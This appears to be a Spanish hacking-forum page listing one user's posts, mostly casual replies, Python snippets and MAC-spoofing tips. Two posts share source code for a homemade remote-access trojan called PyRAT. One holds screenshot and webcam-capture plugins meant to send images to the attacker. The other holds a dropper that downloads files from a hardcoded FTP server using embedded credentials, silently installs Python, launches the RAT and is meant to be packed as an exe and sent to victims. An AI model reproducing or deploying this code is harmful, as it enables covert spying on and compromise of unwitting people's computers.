Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WhiZ

#241
Python / Re:inRar.py buscador de archivos rar en imágenes
Noviembre 30, 2013, 11:06:26 PM
Muy buen code bro! Jaja ya se cuando y donde lo usaste!! ;)

Gracias por el triunfo :P

Saludos!
WhiZ
#242
Está disponible en la You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Saludos!
WhiZ
#243
Off Topic / Re:Feliz cumpleaños ZanGetsu!
Noviembre 25, 2013, 09:07:23 PM
Feliz cumple viejo! Q la pases bien en este día especial!

(Decí q mañana se madruga porq con el calor que hace está para una buena birra ;) )

Saludos!
WhiZ
#244
Es cierto lo que decís del spam, pero el tema es que a veces no llegas a tiempo ni para dar una respuesta.

En mi caso pasó eso. Cuando vi el post, ya estaba cerrado.

De todas maneras, se puede pedir permiso a los admins para que reabran el hilo, no???

Saludos!
WhiZ
#245
Es cierto! Hace unos días quise aportar algo en un tema resuelto y no pude  :'(

Estaría bueno que quede abierto por defecto.

Saludos!
WhiZ
#246
Claro. En este caso le estás pasando un int como argumento (que es lo que espera) mientras que en el ejemplo del urllib le estás pasando un string.

Probá el código que te pasé más arriba que tendría que funcionar.

Saludos!
WhiZ
#247
Código: python
def switch(x,s):
return {
'bin2hex':s.encode("hex"),
'encode':urllib.quote(s)
}[x]


Saludos!
WhiZ
#248
Coincido con 11Sep.

hex(number) -> string

Saludos!
WhiZ
#249
Presentaciones y cumpleaños / Re:Hola a todos!
Noviembre 18, 2013, 07:16:32 PM
Bienvenido al tren bro!

Espero q te sientas a gusto con nosotros.

Saludos!
WhiZ
#250
Python / Re:Python para principiantes
Noviembre 15, 2013, 02:35:37 PM
Excelente bro! Tiene muy buena pinta.

Justo ahora estoy con elinks y sin interfaz gráfica, pero ni bien formatee la PC lo voy a pegar una leida.

Saludos!
WhiZ
#251
CitarComo que antes de que se active wlan0? La interfaz esta desactviada, la desactive previamente tipeando airmon-ng stop wlan0. El siguiente paso despues de cambiar la MAC es activarla de nuevo.

Sisi, en teoría es así, pero a veces se reactiva. Por eso puse lo anterior.
#252
Ok. Otra cosa, el comando es:

Código: bash
ifconfig wlan0 down


Lo estás poniendo así???

En realidad creo q, a pesar del comando, la interfaz se vuelve a activar.

Te recomiendo que pruebes otra vez, pero trates de escribir ambos comandos ("ifconfig wlan0 down" y el macchanger) lo más rápido posible (antes de q se active wlan0).

Intentá eso y comentá q sucede.

EDITO: Por supuesto, si no funciona lo anterior, entonces flecha arriba x 2 y enter, flecha arriba dos veces y enter jeje. (no se si se entendió):
Código: bash
root@bt: ~# ifconfig wlan0 down
root@bt: ~# macchanger --mac=00:11:22:33:44:55 wlan0
...(error; flecha arriba 2 veces)
root@bt:  ~# ifconfig wlan0 down (enter)
(flecha arriba 2 veces)
root@bt: ~# macchanger --mac=00:11:22:33:44:55 wlan0 (enter)

#253
Si podés poné el output de ifconfig.

Saludos!
WhiZ
#254
Un gusto tenerte aquí bro! Espero q te sientas cómodo con todos nosotros!

Saludos!
WhiZ
#255
Off Topic / Re:Felicidades Expermicid!
Noviembre 09, 2013, 08:32:36 PM
Feliz cumpleaños Expermicid!

Espero q termines bien este día tan especial.

Esperamos la torta :P

Saludos!
WhiZ
#256
Delphi / Re:[Delphi] DH KeyCagator 0.2
Noviembre 08, 2013, 01:08:42 PM
Excelente doddy! Te pasas con estos códigos.

Nuevamente me lamento por desconocer este lenguaje. No me dejas otra alternativa que ponerme a investigar un poco jeje.

Saludos!
WhiZ
#257
Python / Screenshot y WebcamCapture (proyecto PyRAT)
Noviembre 06, 2013, 03:16:19 PM
Bueno Gente! De a poco sigo con todo esto. En esta ocasión les dejo 2 plugins que tengo preparados para añadir a mi simple pero querido PyRAT.

screenshot.py
Código: python
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# screenshot.py

from PyQt4.QtGui import QApplication, QPixmap
from os import environ, mkdir, listdir
from sys import argv
from time import strftime, gmtime

class Screenshot(object):
def __init__(self): 
self.usuario = environ['USER']
if not 'screenshot' in listdir('./'):
mkdir('screenshot')

def capturarPantalla(self):
time = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './screenshot/' + self.usuario + '_' + time + '.png'

app = QApplication(argv)
winId = QApplication.desktop().winId()
width = QApplication.desktop().screenGeometry().width()
height = QApplication.desktop().screenGeometry().height()

captura = QPixmap.grabWindow(winId, 0, 0, width, height)

captura.save(imagen)

def main():
ss = Screenshot()
ss.capturarPantalla()

if __name__ == '__main__':
main()


webcamCapture.py
Código: python
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# webcamCapture.py

from pygame.image import save
import pygame.camera as camera
from os import environ, mkdir, listdir
from time import strftime, gmtime

class WebcamCapture(object):
def __init__(self):

camera.init()
misWebcams = camera.list_cameras()

if len(misWebcams) == 0:
raise Exception('No hay webcam disponible.')
exit()

elif len(misWebcams) == 1:
self.miWebcam = misWebcams[0]

else:
for i in range(len(misWebcams)):
try:
self.miWebcam = misWebcams[i]
break
except:
continue

def capturar(self):
try:
webcam = camera.Camera(self.miWebcam,(640,480))
webcam.start()

self.captura = webcam.get_image()

webcam.stop()
except Exception as e:
print e

def guardarCaptura(self):
self.usuario = environ['USER']

if not 'webcam' in listdir('./'):
mkdir('webcam')

tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'

save(self.captura, imagen)

def main():
wcCapture = WebcamCapture()
wcCapture.capturar()
wcCapture.guardarCaptura()

if __name__ == '__main__':
main()


Espero que les sirva y que en un futuro no muy lejano lo puedan disfrutar de manera integrada a PyRAT.

NOTA: Por ahora guarda las capturas en carpetas locales. Es decir, en vez de enviarnos las capturas, crea una carpeta y las guarda ahí. Por supuesto que cuando tenga el RAT listo esto no va a suceder, sino que las capturas serán enviadas a la máquina atacante (ya veré si lo hago por ftp, por el mismo socket o ambos).

Saludos!
WhiZ
#258
Delphi / Re:[Delphi] VirusTotal Scanner 0.1
Noviembre 01, 2013, 01:48:10 PM
Excelente Doddy! Son tantas las tools q has codeado q podrías armar un kit tranquilamente jeje.

Gracias por el aporte!

Saludos!
WhiZ
#259
Python / PiWI (PyRAT complemento)
Octubre 15, 2013, 12:04:03 AM
Hola Gente! como les va??? Aprovecho en este ratito libre q tengo antes de acostarme para postear lo que no pude a la mañana jeje.

Hace algún tiempo atrás estuve experimentando un poco con el tema de PyRAT un troyano muy básico codeado en python. Lamentablemente, estuvo bastante tiempo estancado (espero poder retomarlo algún dìa) pero mientras tanto aproveché hoy a la mañana para escribir PyWI, un complemento de dicho RAT.

Básicamente, PyWi se encarga de habilitar el funcionamiento del RAT en windows mediante la instalación de python2.7 (sigilosamente) para luego activar el troyano.

No es mucho lo que hace en realidad pero pretendo ir mejorándolo tmb.

Sé que python podría parecer algo inadecuado para el tema de los RATs, principalmente por el hecho de que windows no trae python por defecto e instalarlo (tal y como lo hace PyWI) es bastante sospechoso. Sin embargo, se pueden cambiar algunas opciones durante la configuración como para que no sea tan delator.

Por otro lado, creo que hay mucho terreno explorado en otros lenguajes y resulta python un lenguaje con mucho camino por andar, por lo que en vez de hacer lo que ya hicieron miles de programadores, prefiero intentar hacer algo con mi querido python jeje.

Bueno, primero les comento como organicé todo y luego les dejo el código.

PyWI consiste en las siguientes clases:
    - Main --> clase principal; instancia a las clases siguientes y ejecuta el RAT
    - FTPDownloader --> descarga el archivo de instalación de python2.7 y el RAT
    - PyInstaller --> instala python2.7
    - ExceptionHandler --> captura los eventuales errores y los envía vía mail/FTP (esto último inconcluso)

main.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from ftpDownloader import FTPDownloader
from pyInstaller import PyInstaller
from exceptionHandler import ExceptionHandler
from os import popen
from time import sleep

class Main(object):
def __init__(self, host, dir, user=None, passwd=None):
self.host = host
self.user = user
self.passwd = passwd
self.dir = dir

def ftpDownload(self, files):
ftpd = FTPDownloader(self.host, self.dir, self.user, self.passwd)

ftpd.login()

for file in files:
ftpd.file = file
ftpd.downloadFile()

ftpd.close()

def pythonInstall(self):
pyInstaller = PyInstaller()
pyInstaller.install()

def initRAT(self):
popen('python rat.py')

def main():
host = '31.170.160.100'
user = 'a3824860'
passwd = 'l0g1nn0w'
dir = 'public_html'
files = ['pyInstaller.msi', 'rat.py']

try:
main = Main(host, dir, user, passwd)
main.ftpDownload(files)
main.pythonInstall()
main.initRAT()
except Exception as e:
exception = ExceptionHandler(e)
print('[*] retrying in 1000s')
sleep(1000)
main()

if __name__ == '__main__':
main()


ftpDownloader.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from ftplib import FTP
import sys

class FTPDownloader(object):
    def __init__(self, host, dir, user=None, passwd=None, file=None):
        self.user = user
        self.passwd = passwd
        self.dir = dir
        self.file = file

        self.ftp = FTP(host)

    def login(self):
        print('[+] logging')
        self.ftp.login(self.user, self.passwd)
        self.ftp.cwd(self.dir)

    def downloadFile(self):
        print('[+] downloading '+self.file)
        self.ftp.voidcmd('TYPE I')

        datasock, estsize = self.ftp.ntransfercmd('RETR ' + self.file)
        transbytes = 0
        fd = open(self.file, 'wb')
        while 1:
            buf = datasock.recv(2048)
            if not len(buf):
                break
            fd.write(buf)
            transbytes += len(buf)
            sys.stdout.write('Received %d ' % transbytes)

            if estsize:
                sys.stdout.write('o0f %d bytes (%.1f%%)\r' % \
                        (estsize, 100.0 * float(transbytes) / float(estsize)))
            else:
                sys.stdout.write('bytes\r')
            sys.stdout.flush()
        sys.stdout.write('\n')
        fd.close()
        datasock.close()
        self.ftp.voidresp()

    def close(self):
        print('[+] closing connection')
        self.ftp.quit()


pyInstaller.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from time import sleep
from os import popen

class PyInstaller(object):
"""
Instala Python v2.7 de manera silenciosa.
"""
def __init__(self):
installer  = 'pyInstaller.msi'
self.cmd = 'msiexec /i ' + installer
# debo mejorar la configuración de la instalación
# para cambiar PATH y algunas cosas más.

def install(self):
print('[+] installing python')
popen(self.cmd)


exceptionHandler.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

class ExceptionHandler(object):
def __init__(self, e):
error = '[-] ERROR:', e
print(e)

# falta agregar el resto del código para:
#
# - conseguir información del host (ip o
# nombre del host, y demás)
#
# - enviar la información vía mail o FTP
##########################################


La idea es crear un único exe a partir de estos archivos y enviarlo.

Si alguno quiere probar su funcionamiento puede hacerlo con el código tal como está (dejé listo un servidor FTP con 2 archivos: el instalador y un pseudo RAT).

Bueno, eso es todo. Cualquier cosa no duden en comentar.

Saludos!
WhiZ
#260
Ya miré los primeros 10 minutos y está muy interesante... Pero me tengo q ir a estudiar!!! jaja.
A favoritos y lo veré cuando me haga un espacio.

Gracias por compartir!
Saludos!
WhiZ